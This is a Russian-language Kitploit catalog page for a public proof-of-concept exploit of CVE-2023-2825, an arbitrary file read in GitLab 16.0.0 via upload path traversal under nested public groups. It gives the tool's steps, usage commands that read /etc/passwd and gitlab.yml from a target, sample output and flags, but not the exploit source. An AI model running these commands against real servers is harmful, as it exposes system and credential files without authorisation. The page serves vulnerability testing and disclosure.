Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-2825-PoC — PoC для CVE-2023-2825: автоматизированное произвольное чтение файлов в GitLab 16.0.0 через вложенные публичные группы, обход пути при загрузке файлов проекта, повторно используемые пути загрузки и чистый вывод CLI. | Kitploit
Инструменты/GitHubGitHub/groppoxx/cve-2023-2825-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на Проникновение
GitHubgroppoxx/cve-2023-2825-poc

CVE-2023-2825-PoC

PoC для CVE-2023-2825: автоматизированное произвольное чтение файлов в GitLab 16.0.0 через вложенные публичные группы, обход пути при загрузке файлов проекта, повторно используемые пути загрузки и чистый вывод CLI.

Репозиторий
43 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-2825-PoC

Доказательство концепции для CVE-2023-2825 — уязвимости произвольного чтения файлов в GitLab CE/EE 16.0.0.

Скрипт входит в систему с действительной учётной записью GitLab, создаёт необходимую структуру вложенных публичных групп, создаёт публичный проект, загружает вложение и использует уязвимое поведение обхода пути при загрузке (upload path traversal) для чтения целевого файла с сервера GitLab.

Также поддерживается повторное использование существующего пути загрузки, поэтому вам не нужно создавать новые группы и проекты для каждого чтения файла.

Что делает скрипт

  1. Выполняет аутентификацию в целевом экземпляре GitLab.
  2. Создаёт вложенные публичные группы с короткими именами для надёжной глубокой вложенности.
  3. Создаёт публичный проект внутри самой глубокой группы.
  4. Загружает небольшое вложение в проект.
  5. Формирует путь обхода (traversal) из каталога загрузки.
  6. Читает один файл или список файлов.
  7. Выводит путь загрузки, который можно использовать повторно для более быстрого последующего чтения.

Требования

root@kitploit:~
Python 3.8+

pip install -r requirements.txt

Требуемые пакеты Python:

root@kitploit:~
beautifulsoup4
requests
urllib3

Быстрый старт

Значения, заключённые в угловые скобки, являются заполнителями. Замените их собственными значениями и не включайте символы < и >.

root@kitploit:~
python3 cve_2023_2825.py \
  --url <GITLAB_URL> \
  --username <USERNAME> \
  --password '<PASSWORD>' \
  --file /etc/passwd

Заполнители

root@kitploit:~
<GITLAB_URL>   # Target GitLab base URL. Example: http://gitlab.local
<USERNAME>     # Valid GitLab username.
<PASSWORD>     # Valid GitLab password.

Полный пример

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --username alice \
  --password 'Password123!' \
  --file /etc/hosts

Пример вывода:

root@kitploit:~
[2026-05-17T18:20:10Z] [*] Getting CSRF token
[2026-05-17T18:20:10Z] [+] CSRF token found
[2026-05-17T18:20:11Z] [*] Logging in as alice
[2026-05-17T18:20:11Z] [+] Login successful
[2026-05-17T18:20:12Z] [*] Creating 11 nested public groups
[2026-05-17T18:20:18Z] [+] Created group: A1B-11
[2026-05-17T18:20:19Z] [*] Creating public project
[2026-05-17T18:20:20Z] [+] Reusable upload path: /A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] Reading file: /etc/hosts

[+] Content of /etc/hosts
127.0.0.1 localhost

Повторное использование пути загрузки

После успешного запуска скрипт выводит путь загрузки, который можно использовать повторно:

root@kitploit:~
Reusable upload path: /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/

Используйте его с --reuse-path, чтобы пропустить вход в систему, создание групп, создание проекта и загрузку:

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

Вы также можете передать полный URL и опустить --url:

root@kitploit:~
python3 cve_2023_2825.py \
  --reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

Чтение нескольких файлов

Создайте список файлов:

root@kitploit:~
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF

Запустите:

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --list files.txt

Дополнительные флаги

root@kitploit:~
--groups <N>
   Number of nested public groups to create. Default: 11

--depth <N>
   Number of traversal segments to use. Default: 12

--reuse-path <PATH_OR_URL>
   Existing project upload directory. Skips setup and directly reads files.

--only-final
   Hide progress logs and print only file contents.

--no-color
   Disable ANSI colors.

--debug
   Print the generated traversal path for troubleshooting.

Примечания

  • Эксплойт требует GitLab CE/EE 16.0.0.
  • Для создания публичных вложенных групп и проекта необходима действительная учётная запись GitLab.
  • Уязвимый путь требует наличия вложения в публичном проекте, вложенном в несколько публичных групп.
  • Короткие имена групп используются намеренно, чтобы избежать проблем с созданием глубоких путей в GitLab.
  • По возможности используйте --reuse-path, чтобы избежать создания лишних групп и проектов.

Правовая информация

Данный PoC предназначен для авторизованного тестирования безопасности, лабораторных сред и проверки уязвимостей. Не используйте его против систем без явного разрешения.

Скачать инструмент